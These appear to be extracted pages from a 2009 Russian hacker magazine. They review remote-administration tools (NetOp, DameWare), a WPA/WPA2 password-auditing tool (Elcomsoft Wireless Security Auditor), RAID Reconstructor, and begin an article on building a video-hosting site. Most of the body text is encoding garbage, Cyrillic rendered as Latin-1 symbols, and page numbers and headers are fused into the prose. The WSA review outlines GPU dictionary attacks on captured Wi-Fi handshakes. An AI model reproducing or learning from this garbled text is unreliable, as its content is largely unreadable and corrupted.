IDEAL SECURE ПОМОЖЕТ УСИЛИТЬ ЗАЩИТУ СИСТЕМNETOP REMOTE CONTROL ЯВЛЯЕТСЯ ОДНОЙ ИЗ СА-МЫХ ПОПУЛЯРНЫХ ПРОГРАММ ДЛЯ УДАЛЕННОГОУПРАВЛЕНИЯИНТЕРФЕЙС FARSTONE DRIVECLONEДОСТАТОЧНО ПРОСТîòêëþ÷èòü Active Desktop è äðóãèå). ×àñòî èñïîëüçóåìûå òåìû òàêæåâûâîäÿòñÿ â «Favorite actions», âåäåòñÿ èñòîðèÿ òåì, êîòîðûå óæå ïðèìåíÿëèñüê êîìïüþòåðàì. Ñïèñîê Action àâòîìàòè÷åñêè îáíîâëÿåòñÿ ññàéòà ïðîèçâîäèòåëÿ.Ïîìèìî Actions åñòü è äðóãèå âêëàäêè, ïîçâîëÿþùèå ïîëó÷èòü äîñòóï êâåòêàì ðååñòðà, ïðîñìîòðåòü ñïèñîê çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåéè èíôîðìàöèþ ïî ñèñòåìå (OC, æåëåçî, óñòàíîâëåííûå îáíîâëåíèÿè ò.ï.)Ñàìîå ãëàâíîå, ÷òî ïðîèçâåäÿ ëþáóþ îïåðàöèþ, òû íå òîëüêî óñèëèøüáåçîïàñíîñòü, íî è áóäåøü ÷åòêî çíàòü, ÷òî, ãäå è êîãäà èçìåíåíî, èêàêîé ýòî èìåëî ýôôåêò è ïîñëåäñòâèÿ. Åñëè æå ðåçóëüòàò íå óäîâëåòâîðÿåò,ëþáîå äåéñòâèå ìîæíî îòìåíèòü.Íà ñàéòå ïðîèçâîäèòåëÿ äîñòóïíà òðèàëüíàÿ âåðñèÿ, êîòîðàÿ áóäåòïîëíîôóíêöèîíàëüíà â òå÷åíèå 30 äíåé è ïîääåðæèâàòü íàñòðîéêó 50êîìïüþòåðîâ.NETOP REMOTE CONTROL 9.22 BUILD <strong>2009</strong>105Ðàçðàáîò÷èê: NetOp A/SWeb: www.netop.ruÑèñòåìíûå òðåáîâàíèÿ: ìèíèìàëüíûå ñèñòåìíûå òðåáîâàíèÿ,ïðåäúÿâëÿåìûå ê ÎÑÎÑ: Windows NTSP4/98/Me/2000/XP/2003/Vista/2008, Linux(RedHat 8/9/10, RedHat 7.x, Mandrake 10, SuSE 8.x/9.0), Solaris,OS/2, DOS, Windows Mobile è SymbianÏðè áîëüøîì êîëè÷åñòâå êîìïüþòåðîâ ïðîãðàììà óäàëåííîãî àäìèíèñòðèðîâàíèÿñòàíîâèòñÿ ïðîñòî íåîáõîäèìîé, èíà÷å àäìèí áóäåò îáðå÷åíïîñòîÿííî áåãàòü ïî ýòàæàì, ðåøàÿ ìåëêèå ïðîáëåìû ïîëüçîâàòåëåé.NetOp Remote Control, â ñèëó ñâîèõ ïðîäâèíóòûõ âîçìîæíîñòåé, óæåçàñëóæèëà äîâåðèå àäìèíèñòðàòîðîâ è èìååò ðÿä íàãðàä îò ðàçëè÷íûõæóðíàëîâ. Ïîäêëþ÷èâøèñü ê óäàëåííîé ñèñòåìå, àäìèí âèäèò äåñêòîïè ìîæåò óïðàâëÿòü êîìïüþòåðîì òàê, êàê áóäòî íàõîäèòñÿ çà ðàáî÷èìñòîëîì ðÿäîì ñ ïîëüçîâàòåëåì, íàñòðàèâàòü ñëóæáû, ðàáîòàòü ñ êîìàíäíîéñòðîêîé, ðååñòðîì, ïîäêëþ÷àòüñÿ ê äèñêàì è ò.ä. Ìåñòîíàõîæäåíèåêëèåíòà (LAN, WAN èëè VPN) ïðè ýòîì ðîëè íå èãðàåò, ïîääåðæèâàþòñÿîñíîâíûå êîììóíèêàöèîííûå ïðîòîêîëû — TCP/IP, UDP, IPX, NetBIOS,ìîäåìíûå ïîäêëþ÷åíèÿ, èíôðàêðàñíûé ïîðò è Terminal Server. Ïðåäóñìîòðåíàïåðåäà÷à íà óäàëåííóþ ñèñòåìó êëàâèàòóðíûõ êîìàíä (CTRL-ALT-DEL è ò.ï.), ïðîñòàÿ îòñûëêà ôàéëîâ ìåòîäîì Drag'n'Drop, îáìåíäàííûìè ÷åðåç áóôåð îáìåíà, àâòîìàòè÷åñêîå âîññòàíîâëåíèå ñåàíñàïîñëå îáðûâà ñâÿçè. Ðåàëèçîâàí òåêñòîâûé, àóäèî-âèäåî÷àò, à òàêæåðåæèì äåìîíñòðàöèè, êîãäà ïîêàçûâàåòñÿ ýêðàí êîìïüþòåðà àäìèíà,ïîýòîìó âàðèàíòîâ îêàçàíèÿ ïîìîùè äîñòàòî÷íî ìíîãî. Êðîìå òîãî, âïîñëåäíèõ ðåëèçàõ ïîÿâèëàñü íîâàÿ ôóíêöèÿ Inventory, êîòîðàÿ ïîçâîëÿåòñîáèðàòü èíôîðìàöèþ îá óñòàíîâëåííîì îáîðóäîâàíèè è ÏÎ ñ öåëüþèíâåíòàðèçàöèè è êîíòðîëÿ çà èõ èñïîëüçîâàíèåì, îò÷åò çàòåì ìîæíîñîõðàíèòü â XML-ôàéë. Ðóòèííûå îïåðàöèè ïðåäëàãàåòñÿ àâòîìàòèçèðîâàòüïðè ïîìîùè ñêðèïòîâ. Ôóíêöèîíàëüíî NetOp Remote Control ñîñòîèòèç äâóõ îñíîâíûõ ìîäóëåé: Host è Guest. Íà êîìïüþòåðå àäìèíèñòðàòîðà,ñ êîòîðîãî áóäåò îñóùåñòâëÿòüñÿ óäàëåííîå óïðàâëåíèå äðóãèìèñèñòåìàìè, óñòàíàâëèâàåòñÿ ìîäóëü Guest, íà êëèåíòàõ ðàçâåðòûâàåòñÿìîäóëü Host.  áîëüøèõ ðàçâåòâëåííûõ è çàùèùåííûõ ñåòÿõ ìîãóò âîçíèêíóòüïðîáëåìû ñ ìàðøðóòèçàöèåé è ïîäêëþ÷åíèåì ê êëèåíòñêèìêîìïüþòåðàì. Äëÿ èõ ðåøåíèÿ ïðåäëàãàþòñÿ äîïîëíèòåëüíûå ìîäóëèGateway, WebConnect, Name Server, Security Server, Mobile & Embedded,êîòîðûå ëèöåíçèðóþòñÿ îòäåëüíî. Åùå îäèí ìîäóëü — On Demand —ïîçâîëÿåò óïðàâëÿòü óäàëåííûìè ñèñòåìàìè áåç óñòàíîâêè àãåíòà. Èçäîïîëíèòåëüíûõ âîçìîæíîñòåé ñòîèò îòìåòèòü çàïèñü âñåãî ïðîèñõîäÿùåãîíà ýêðàíå íà âèäåî, óäàëåííàÿ ïå÷àòü. Âåñü òðàôèê øèôðóåòñÿñ èñïîëüçîâàíèåì àëãîðèòìà AES-256, ðåàëèçîâàíà àóòåíòèôèêàöèÿïðè ïîìîùè ñìàðò-êàðò, RSA Secure ID è Active Directory. ÏîääåðæêàIntel vPro ïîçâîëÿåò óïðàâëÿòü óäàëåííîé ñèñòåìîé äî çàãðóçêè ÎÑ, âòîì ÷èñëå èçìåíÿòü íàñòðîéêè BIOS. Ñêà÷àòü ìîäóëè ìîæíî ñ ñàéòà help.netop.com/download, íî äëÿ óñòàíîâêè è ðàáîòû ïîòðåáóþòñÿ êëþ÷è, äëÿïîëó÷åíèÿ êîòîðûõ òðåáóåòñÿ ðåãèñòðàöèÿ íà ñàéòå. Îáðàòè âíèìàíèå,÷òî îòäåëüíî äîñòóïíà ðóññêàÿ è àíãëèéñêàÿ âåðñèè (ïîñëåäíÿÿ ñâåæåå).Óñòàíîâêà ìîäóëåé äîñòàòî÷íî ïðîñòà. Ïî îêîí÷àíèè óñòàíîâêè Guestáóäåò çàïóùåí ìàñòåð, êîòîðûé ïîìîæåò íàñòðîèòü ñåòåâûå ñîåäèíåíèÿ.Êàêèõ-ëèáî âîçìîæíîñòåé ïî ðàçâåðòûâàíèþ êëèåíòñêèõ Host ìîäóëåé âêîíñîëè óïðàâëåíèÿ íå ïðåäóñìîòðåíî. Äëÿ ýòîãî íåîáõîäèìî èñïîëüçîâàòüîòäåëüíûé NetOp Pack'n Deploy èëè âûáðàòü äðóãîé ïóòü, íàïðèìåðóñòàíîâêó ïðè ïîìîùè ãðóïïîâûõ ïîëèòèê. Âî âðåìÿ èíñòàëëÿöèè Hostáóäåò çàïðîøåí ïàðîëü îáñëóæèâàíèÿ, êîòîðûé áóäåò çàòåì çàïðà-XÀÊÅÐ 12 /132/ 09 121


SYN\ACKСПАСТИ ИНФОРМАЦИЮ С RAID 0/5 МОЖНО \ПРИ ПОМОЩИ RAID RECONSTRUCTORøèâàòüñÿ ïðè âõîäå íà êëèåíòñêóþ ñèñòåìó.Íåïîñðåäñòâåííî ïåðåä íà÷àëîì ðàáîòû Hostíóæíî âûáðàòü ïðîôèëü ñâÿçè (Ñðåäñòâà — Êîììóíèêàöèîííûåïðîôèëè), óêàçàâ ïðîòîêîë äëÿïîäêëþ÷åíèÿ, èíà÷å êëèåíò íå áóäåò àêòèâåí,è ñîåäèíèòüñÿ ñ íèì áóäåò íåâîçìîæíî. Äàëååâñå ïðîñòî, èíòåðôåéñ äîñòàòî÷íî ïîíÿòåí.Åñëè ïîëüçîâàòåëü íå äîëæåí çíàòü î ïðèñóòñòâèèNetOp íà êëèåíòñêîì êîìïüþòåðå, çíà÷îêïðÿ÷åòñÿ. Åñëè â ñåòè èñïîëüçóåòñÿ íåñêîëüêîGuest, òî ïðîèçâåäÿ âñå íàñòðîéêè íà îäíîì èçíèõ, ìîæíî ýêñïîðòèðîâàòü äàííûå íà ñìåííûéíîñèòåëü.DAMEWARE NT UTILITIES (DNTU)Ðàçðàáîò÷èê: DameWare DevelopmentWeb: www.dameware.ru/nt_utilities.htmlÑèñòåìíûå òðåáîâàíèÿ: ìèíèìàëüíûå ñèñòåìíûåòðåáîâàíèÿ, ïðåäúÿâëÿåìûå ê ÎÑÎÑ: Windows NTSP1/2000/XP/2003/Vista/2008 (32/64 áèò)DameWare NT Utilities (DNTU) — ýòî ìîùíàÿñèñòåìà óäàëåííîãî óïðàâëåíèÿ Windowsñèñòåìàìè, ïðåäëàãàþùàÿ ìíîãî áîëüøåâîçìîæíîñòåé, ÷åì øòàòíûé MMC. Èíòåðôåéñ122DNTU, âûïîëíåííûé â ñòèëå Ïðîâîäíèêà, îáåñïå÷èâàåòïðîñòîé è óäîáíûé äîñòóï ïðàêòè-÷åñêè êî âñåì ñòàíäàðòíûì óòèëèòàì Windows(êîíñîëüíûì è ãðàôè÷åñêèì). Ïðè íàëè÷èèActive Directory àäìèí ìîæåò ïîëó÷èòü ñïèñîêîáúåêòîâ (èñïîëüçóÿ ôèëüòðû èëè ïîèñê) èïðîèçâåñòè ëþáûå îïåðàöèè íàä àòðèáóòàìè— OU, êîíòåéíåðàìè, ïîëüçîâàòåëÿìè èãðóïïàìè, êîìïüþòåðàìè, îáùèìè ðåñóðñàìè. òîì ÷èñëå â ñïèñêå åñòü è àòðèáóòû, íåäîñòóïíûåèç êîíñîëè MMC (íàïðèìåð, ëîãîòèïû,èäåíòèôèêàòîðû ïîëüçîâàòåëåé è ò.ä.) Ïîñëåóñòàíîâêè DNTU àâòîìàòè÷åñêè ïðîèçâåäåòñêàíèðîâàíèå ñåòè è ïðîâåðèò íàëè÷èå ActiveDirectory, ïîëó÷èò ñïèñîê ðàáî÷èõ ñòàíöèé,ñåðâåðîâ, êîíòðîëëåðîâ äîìåíîâ è êîìïüþòåðîâ. ïîñëåäíþþ ãðóïïó (Computers) âêëþ-÷åíû òå ñèñòåìû, êîòîðûå íå âèäíû â ñåòåâîìîêðóæåíèè. Åñëè ñèñòåìà íå îáíàðóæåíà, ååìîæíî äîáàâèòü âðó÷íóþ, óêàçàâ IP-àäðåñ.Ïîñëå ýòîãî ïðîñòî âûáèðàåì íóæíóþ ñèñòåìóè ïðîèçâîäèì âñå íåîáõîäèìûå îïåðàöèè íàääèñêàìè, ðååñòðîì, ãðóïïàìè, îòêðûòûìèôàéëàìè, ïðèíòåðàìè, ïðîöåññàìè. Ïðè íåîáõîäèìîñòèìîæíî ïîäêëþ÷èòüñÿ ê óäàëåííîéñèñòåìå ïî ïðîòîêîëó RDP. Êðîìå ýòîãî, âïîñòàâêó DNTU âêëþ÷åíû è äâà ñïåöèàëèçèðîâàííûõïðèëîæåíèÿ. Ïðîãðàììà DameWareMini Remote Control îáåñïå÷èâàåò óäàëåííîåóïðàâëåíèå, äëÿ ÷åãî íà êëèåíòñêóþ ìàøèíóóñòàíàâëèâàåòñÿ ëåãêèé àãåíò. Äëÿ ñáîðàèíôîðìàöèè ñ ñèñòåì â ñåòè èñïîëüçóåòñÿDameWare NT Utilities Exporter (DWExporter), íàâûõîäå ïîëó÷àåì îò÷åò â íåñêîëüêèõ ôîðìàòàõ(XML, CSV, TXT). Íî ãëàâíîé îñîáåííîñòüþDNTU ÿâëÿåòñÿ ñõåìà ëèöåíçèðîâàíèÿ. Ëèöåíçèðîâàíèåçàâèñèò îò ÷èñëà àäìèíèñòðàòîðîâ,êîòîðûå áóäóò óïðàâëÿòü ñèñòåìàìè, è íå çàâèñèòîò êîëè÷åñòâà ðàáî÷èõ ñòàíöèé è ñåðâåðîâ.Äëÿ ñêà÷èâàíèÿ äîñòóïíà ïîëíîôóíêöèîíàëüíàÿ30-äíåâíàÿ ïðîáíàÿ âåðñèÿ.ELCOMSOFT WIRELESS SECURITY AUDITORÐàçðàáîò÷èê: Elcomsoft Co. Ltd.Web: www.elcomsoft.ruÑèñòåìíûå òðåáîâàíèÿ: ìèíèìàëüíûå ñèñòåìíûåòðåáîâàíèÿ, ïðåäúÿâëÿåìûå ê ÎÑÎÑ: Windows 98/Me/2000/XP/2003/Vista/2008Øèðîêîå èñïîëüçîâàíèå áåñïðîâîäíûõXÀÊÅÐ 12 /132/ 09


WIRELESS SECURITY AUDITOR БЫСТРО НАЙДЕТ СЛАБЫЕПАРОЛИñåòåé ñòàâèò ïåðåä àäìèíèñòðàòîðîì çàäà÷ó ïî ïîâûøåíèþ èõçàùèùåííîñòè è àóäèòó èñïîëüçîâàíèÿ. Êîðïîðàöèÿ Elcomsoft,èçâåñòíàÿ ñâîèìè ïðîãðàììàìè ïî âîññòàíîâëåíèþ ïàðîëåé êðàçëè÷íûì òèïàì ôàéëîâ, ïðåäëàãàåò óòèëèòó Wireless SecurityAuditor (WSA), êîòîðàÿ ÿâëÿåòñÿ íà ñåãîäíÿ îäíîé èç ñàìûõ áûñòðûõè íàèáîëåå ýôôåêòèâíûõ ïðîãðàìì ïî àóäèòó ïàðîëåé â WiFi ñåòÿõ.Ïðèíöèï äåéñòâèÿ, â îáùåì-òî, ïðîñò è ñòàíäàðòåí äëÿ òàêîãî ðîäàïðèëîæåíèé: ïàêåòû îòëàâëèâàþòñÿ ñòîðîííèìè ïðîãðàììàìè,çàòåì îíè èìïîðòèðóþòñÿ â WSA, ãäå ïðîèçâîäèòñÿ ïîïûòêà âîññòàíîâèòüWPA/WPA2-PSK ïàðîëü. Íà îñíîâå ðåçóëüòàòà îöåíèâàåòñÿçàùèùåííîñòü.Èíòåðåñíî, ÷òî äëÿ âîññòàíîâëåíèÿ ïàðîëåé çàäåéñòâóþòñÿ âîçìîæíîñòèãðàôè÷åñêèõ êàðò. Äëÿ ïîäáîðà èñïîëüçóåòñÿ àòàêà ïî ñëîâàðþ ñíàñòðàèâàåìûìè ìóòàöèÿìè (çàãëàâíûå ñòðî÷íûå áóêâû, èçìåíåíèåñëîâà, óäàëåíèå, ïåðåñòàíîâêà áóêâ è ïðî÷åå), â ïîñòàâêå èìååòñÿàíãëèéñêèé ñëîâàðü. Ïîääåðæèâàåòñÿ äî 4 âèäåîêàðò NVIDIA (îòGeForce 8 è âûøå) èëè ATI (Radeon HD 3000 Series è âûøå), ïîýòîìóWSA ìîæåò ñðàâíèòüñÿ ïî ïðîèçâîäèòåëüíîñòè ñ ìîùíûìè ñåðâåðàìè. êà÷åñòâå âõîäíûõ äàííûõ ïðèíèìàåòñÿ ôàéë ñòàíäàðòíîãîôîðìàòà tcpdump, êîòîðûé ïîääåðæèâàåòñÿ ïðàêòè÷åñêè âñåìè WiFiñíèôåðàìè (Airocrack-ng, OmniPeek, AirDefense è äðóãèå). Âîçìîæåíèìïîðò ñèñòåìíûõ õåøåé ïàðîëåé, ïîëó÷åííûõ ïðîãðàììîé ElcomsoftProactive System Password Recovery (PSPR), è ôàéëîâ CommView. Îñòàëîñüäîáàâèòü, ÷òî èíòåðôåéñ ëîêàëèçîâàí, è ïðîãðàììà äîñòàòî÷íîïðîñòà â èñïîëüçîâàíèè.RAID RECONSTRUCTOR V4.00Ðàçðàáîò÷èê: Flexera Software, Inc.Web: www.runtime.org/raid.htmÑèñòåìíûå òðåáîâàíèÿ: ìèíèìàëüíûå ñèñòåìíûå òðåáîâàíèÿ,ïðåäúÿâëÿåìûå ê ÎÑ ÎÑ: Windows 2000/XP/2003/Vista/2008Ïðîãðàììà RAID Reconstructor ïðåäîñòàâëÿåò âîçìîæíîñòü âîññòàíîâèòüèíôîðìàöèþ ñ RAID 0 è 5, à òàêæå ñàìè ìàññèâû, åñëè â ñëó÷àå ñáîåâîíè ïåðåñòàëè ÷èòàòüñÿ ñèñòåìîé. Åñëè äàííûå ìàññèâà íå èçâåñòíû,RAID Reconstructor ïðîèçâåäåò ñêàíèðîâàíèå è óñòàíîâèò ïðàâèëüíûåïàðàìåòðû àâòîìàòè÷åñêè. Ðåçóëüòàò ìîæåò áûòü ñîõðàíåí â VIM îáðàç,IMG ôàéë èëè íà äðóãîé æåñòêèé äèñê.  ñëó÷àå, åñëè ÎÑ óæå íå çàãðóæàåòñÿ,ïðåäëàãàåòñÿ èñïîëüçîâàòü BartPE-äèñê (www.runtime.org/peb.htm), êîòîðûé ñîáèðàåòñÿ ñàìîñòîÿòåëüíî.Ïðîãðàììà äîñòàòî÷íî ïðîñòà è ïîíÿòíà â èñïîëüçîâàíèè. Íåêîòîðûåîïåðàöèè ëåãêî àâòîìàòèçèðóþòñÿ ïðè ïîìîùè ñêðèïòîâ, äëÿ ÷åãîâ ñîñòàâ âêëþ÷åí ñïåöèàëüíûé ðåäàêòîð ñ íåñêîëüêèìè ïðèìåðàìè(ÿçûê ïîõîæ íà VB). Èç äîïîëíèòåëüíûõ èíñòðóìåíòîâ ìîæíî îòìåòèòüíàëè÷èå XOR è Entropy òåñòîâ.Êñòàòè, RAID Reconstructor — íå åäèíñòâåííàÿ ïðîãðàììà, èìåþùàÿòàêóþ ôóíêöèîíàëüíîñòü, åñëè îíà ïî êàêèì-òî ïðè÷èíàì íå ñïðàâèëàñüñ çàäà÷åé èëè íå ïîäîøëà, òîãäà ïðèñìîòðèñü ê OnTrack RAIDRecovery (www.ontrackdatarecovery.com/raid-recovery) èëè RaidRecovery îò DiskInternals (www.diskinternals.com/raid-recovery). Íî ÿèñêðåííå íàäåþñü, ÷òî òåáå íå ïðèäåòñÿ ïðèáåãíóòü ê ïîäîáíîãî ðîäàïðîãðàììàì. zXÀÊÅÐ 12 /132/ 09 123


SYN\ACKЕВГЕНИЙ ЗОБНИН J1M@SYNACK.RUГоворити показываетWeb 2.0Создаем собственный YouTubeСегодня во всемирной паутине видео находится на пике своей популярности,каждый день рождаются новые интернет-телеканалы и видеохостинги,возможности обмена видеоматериалами встраиваются в социальные сети.Это невероятно прибыльная ниша, и оставаться в стороне — непозво лительнаяроскошь. Из статьи ты узнаешь, как работает видео хостинг и получишьпошаговые инструкции по созданию своего сервиса наподобиеютуба.ВИДЕО НА САЙТЕ Åñòü íåñêîëüêî ñïîñîáîâîðãàíèçîâàòü ïîêàç âèäåî íà ñâîåì ñàéòå.Íàèáîëåå ïðîñòîé è ìåíåå çàòðàòíûé ñ òî÷êèçðåíèÿ ôèíàíñîâ — èñïîëüçîâàíèå API ñòîðîííèõâèäåî-ñåðâèñîâ (òàêèõ, êàê youtube.com)äëÿ âñòðàèâàíèÿ âèäåî â ñòðàíèöó. ïåðâîì ñëó÷àå ýòîò ïîäõîä âûãëÿäèò ïðîñòîêàê ïîäêëþ÷åíèå ñïåöèàëüíîãî ïëàãèíà ê CMS(íàïðèìåð, Embedded Media Field äëÿ Drupal),êîòîðûé êàê ðàç è ïîçâîëÿåò ïðîèãðûâàòüâèäåî, îïóáëèêîâàííîå íà îäíîì èç âèäåî-ñåðâèñîâ.Îäíàêî â ýòîé ñõåìå êðîåòñÿ ñåðüåçíûéìèíóñ. Äëÿ ïóáëèêàöèè âèäåî íà òâîåì ñàéòåïîëüçîâàòåëþ ïðèäåòñÿ ñíà÷àëà ïåðåéòè íàñàéò âèäåî-ñåðâèñà, çàëèòü âèäåî, ñêîïèðîâàòüññûëêó, ïåðåäàòü åå òåáå, ïîñëå ÷åãî òû ñìîæåøüñêîðìèòü åå ïëàãèíó, êîòîðûé âñòðîèòâèäåî â ñàéò.Ìèíóñ ìîæíî ïðåâðàòèòü â ïëþñ, åñëè âîñïîëüçîâàòüñÿäðóãèì ïëàãèíîì, ïðåäíàçíà÷åííûìäëÿ çàëèâêè âèäåî íà ðàçëè÷íûå ñåðâèñû(íàïðèìåð, ïëàãèí Video Upload äëÿ Drupal).Ýòî ïîçâîëèò òåáå è äðóãèì ïîëüçîâàòåëÿìâîñïîëüçîâàòüñÿ ñïåöèàëüíîé ôîðìîé äëÿçàëèâêè ñâîåãî âèäåî, à ïðè íåêîòîðîé äîðàáîòêåè ñêðåùèâàíèè ñ ïëàãèíîì äëÿ ïîêàçàâèäåî — è äëÿ àâòîìàòè÷åñêîãî âñòðàèâàíèÿåãî â ñòðàíèöó.Èñïîëüçîâàíèå ñòîðîííèõ ñåðâèñîâ îáåñïå÷èòíóæíóþ ôóíêöèîíàëüíîñòü áåç äåíåæíûõâëîæåíèé, ïîêóïêè âûäåëåííîãî ñåðâåðà èñ ìèíèìàëüíûìè òðóäîçàòðàòàìè. Íî çäåñü124åñòü íåñêîëüêî ïðîáëåì: à) áîëüøèíñòâîâèäåî-ñåðâèñîâ íàêëàäûâàþò îãðàíè÷åíèå íàèñïîëüçóåìûé òîáîé êîíòåíò, âêëþ÷àÿ çàïðåòíà åãî òðàíñëÿöèþ â êîììåð÷åñêèõ öåëÿõ; á)âèäåî-ñåðâèñû îáû÷íî âñòàâëÿþò ðåêëàìó,ïîëóïðîçðà÷íûå êîïèðàéòû è ò.ï. â ðàñïðîñòðàíÿåìûåèìè ðîëèêè; c) ññûëêè áóäóò âåñòèíà ñàéò-èñòî÷íèê âèäåî, ÷òî áóäåò ñâèäåòåëüñòâîâàòüî äåøåâèçíå òâîåãî ñàéòà.×òîáû îáîéòè è ýòè ïðîáëåìû, ìîæíîîáðàòèòüñÿ ê ïðîôåññèîíàëàì — êîìïàíèÿì-âèäåîïðîâàéäåðàì,êîòîðûå ïîçâîëÿòòåáå ñîçäàòü ïîëíîöåííûé âèäåî-ïðîåêò ñïîäîãíàííûì ïîä äèçàéí ñàéòà ôëåø-ïëååðîì,âîçìîæíîñòüþ êîäèðîâàíèÿ âèäåîâ ëþáîé óêàçàííûé òîáîé ôîðìàò è íåîáõîäèìûìèèíñòðóìåíòàìè äëÿ çàãðóçêèðîëèêîâ. À òàêæå ïðåäîñòàâÿò èíñòðóìåíòûäëÿ âåäåíèÿ ñòàòèñòèêè, ðåäàêòèðîâàíèÿðîëèêîâ, âñòàâêè ðåêëàìû è ìíîãîãîäðóãîãî.Öåíû çà óñëóãè ïîäîáíîãî ïðîâàéäåðà õîòüè êóñàþòñÿ (â ñðåäíåì — íåñêîëüêî ñîòåíäîëëàðîâ â ìåñÿö), íî âïîëíå ïðèåìëåìû äëÿêîìïàíèé, íå èìåþùèõ ñîáñòâåííûõ ñïåöèàëèñòîâèëè âðåìåíè äëÿ ñîçäàíèÿ ïîëíîöåííîãîâèäåî-ñåðâèñà.Åñëè æå è ýòîò âàðèàíò íå ãîäèòñÿ, òî åäèíñòâåííûéâåðíûé ïóòü — ñîçäàíèå ñîáñòâåííîãîâèäåî-ñåðâèñà, ÷òî âïîëíå ïî ñèëàì ãðàìîòíîìóñèñàäìèíó è íåáîëüøîé êîìàíäå web-äåâåëîïåðîâ.СВОЙ YOUTUBE Èòàê, òû ðåøèë îñòàíîâèòüñÿíà ñîçäàíèè ñâîåé âåðñèè YouTube ñ áëýêäæåêîìè êëóáíè÷êîé. Äëÿ íà÷àëà òåáå ïîíàäîáèòñÿìîùíûé âûäåëåííûé ñåðâåð ñ îáúåìíûìõðàíèëèùåì äàííûõ (íåñêîëüêèõ Òá íà ïåðâîåâðåìÿ õâàòèò). Õîñòèíãè îòìåòàþòñÿ ñðàçó, ïîòîìóêàê: à) âèäåî-ñåðâèñ ñîçäàåò ñóùåñòâåííûåíàãðóçêè, è áîëüøèíñòâî õîñòåðîâ ïðîñòîíå ñìîãóò ïðåäîñòàâèòü òåáå äîñòàòî÷íûõìîùíîñòåé; á) äëÿ îðãàíèçàöèè âèäåî-ñåðâèñàíà ñåðâåð äîëæíû áûòü ïðåäóñòàíîâëåíûíåêîòîðûå íå ñîâñåì ñòàíäàðòíûå ñîôòèíû,íàïðèìåð mencoder èëè ffmpeg.Äàëåå òû äîëæåí îïðåäåëèòüñÿ ñ òåì, â êàêîìôîðìàòå ïîñåòèòåëè áóäóò ïîëó÷àòü êîíòåíò ñòâîåãî ðåñóðñà. ßñíî, ÷òî ëó÷øå èñïîëüçîâàòüFLV, íî FLV — âñåãî ëèøü êîíòåéíåð, âíóòðèêîòîðîãî õðàíèòñÿ âèäåî, çàêîäèðîâàííîå âûáðàííûìòîáîé êîäåêîì.  ïðîñòåéøåì ñëó÷àåýòî áóäåò H.263, òî åñòü MPEG-1 èëè MPEG-2 ñáèòðåéòîì ïîðÿäêà 100 Êáèò/ñ. Ñæàòûå ñ ïîìîùüþH.263 ðîëèêè õàðàêòåðèçóþòñÿ ìàëûìâåñîì è íèçêèì êà÷åñòâîì, áëàãîäàðÿ ÷åìóìîãóò ïåðåäàâàòüñÿ ïî íèçêîñêîðîñòíûì êàíàëàìñâÿçè, ïðîèãðûâàòüñÿ íà ìàëîìîùíûõóñòðîéñòâàõ, íî â òî æå âðåìÿ îíè î÷åíü óáîãèâ âèçóàëüíîì ïëàíå. YouTube è áîëüøèíñòâîäðóãèõ âèäåîõîñòèíãîâ èñïîëüçóåò H.263 ïîóìîë÷àíèþ.Íà÷èíàÿ ñ äåâÿòîé âåðñèè, ôëåø-ïëååð îòAdobe ïîääåðæèâàåò òàêæå è êîäåê H.264,áîëåå èçâåñòíûé ïîä èìåíàìè AVC è MPEG-4XÀÊÅÐ 12 /132/ 09


Part 12. H.264 ïîçâîëÿåò ïåðåäàâàòü ðîëèêè â âåñüìà âûñîêîì êà÷åñòâå,öåíîé ÷åìó áóäåò íåâîçìîæíîñòü åãî ïðîèãðûâàíèÿ íà ìàëîìîùíûõóñòðîéñòâàõ (ñìàðòôîíû, íåêîòîðûå íåòáóêè).  òî æå âðåìÿ âåñ ðîëèêàìîæåò îñòàâàòüñÿ ïðåæíèì.Íåêîòîðûå âèäåîõîñòèíãè (òîò æå YouTube) êîäèðóþò çàëèâàåìîåíà åãî ñåðâåðà âèäåî îäíîâðåìåííî äâóìÿ êîäåêàìè: H.263 è H.264.Áëàãîäàðÿ ýòîìó ïîëüçîâàòåëü âïðàâå ñàì âûáðàòü êà÷åñòâî ïðîñìàòðèâàåìîãîðîëèêà. Íî åñòü è îáðàòíàÿ ñòîðîíà ìåäàëè: òàêîå «äâóëè÷èå»ñîçäàåò áîëüøóþ íàãðóçêó íà ñåðâåð, ïîñêîëüêó òåïåðü òðåáóåòñÿ äâàïðîãîíà êîäèðîâùèêà (ïðè÷åì êîäèðîâùèê H.264 ñúåäàåò ãîðàçäîáîëüøå ïðîöåññîðíûõ ðåñóðñîâ è ïàìÿòè) è áîëüøèé îáúåì äèñêîâîéïàìÿòè.È — òðåòüå. Òû äîëæåí ñîçäàòü ñîîòâåòñòâóþùóþ èíôðàñòðóêòóðó äëÿêîäèðîâàíèÿ ðîëèêîâ è îòäà÷è èõ ïîñåòèòåëÿì. Ýòà èíôðàñòðóêòóðàäîëæíà âêëþ÷àòü â ñåáÿ äâèæîê ïåðåêîäèðîâêè, áàçó äàííûõ, ôëåøïëååð,à òàêæå âñþ íàðóæíóþ îáåðòêó ñàéòà.Äâèæîê äëÿ êîäèðîâàíèÿ âèäåî îáû÷íî ñòðîèòñÿ ïîâåðõ çíàêîìûõ âñåìþíèêñîèäàì óíèâåðñàëüíûõ èíñòðóìåíòîâ äëÿ îáðàáîòêè âèäåî —ffmpeg, mencoder èëè êîììåð÷åñêîãî ðåøåíèÿ ïîä íàçâàíèåì SothinkVideo Encoder Engine (www.sothink.com/product/video-encoderengine/linux.htm).Áàçà äàííûõ èñïîëüçóåòñÿ äëÿ õðàíåíèÿ èíôîðìàöèè î ðîëèêàõ,ïîñåòèòåëÿõ, ïîïóëÿðíîñòè è âñåì òîì, ÷òî ìîæåò ïîíàäîáèòüñÿäëÿ âåäåíèÿ ñòàòèñòèêè. Ôëåø-ïëååð ìîæåò áûòü âûáðàí, èñõîäÿ èçëè÷íûõ ïðåäïî÷òåíèé, õîòÿ îáû÷íî âûáîð ïàäàåò íà JW Player (www.longtailvideo.com/players/jw-flv-player), ïîëíîñòüþ îòêðûòûé èáåñïëàòíûé äëÿ íåêîììåð÷åñêîãî èñïîëüçîâàíèÿ (íî ñòîÿùèé äåíåã,ñîâñåì íåáîëüøèõ, íàäî ñêàçàòü, â ñëó÷àå ïðèìåíåíèÿ äëÿ ñîçäàíèÿêîììåð÷åñêèõ ñàéòîâ).Äëÿ îáúåäèíåíèÿ âñåãî ýòîãî âìåñòå ìîæåò áûòü èñïîëüçîâàíà ïî÷òèëþáàÿ CMS, èìåþùàÿ ñïåöèàëüíûå ïëàãèíû, ïðåäíàçíà÷åííûå äëÿñîçäàíèÿ ñèñòåìû ðàñïðîñòðàíåíèÿ 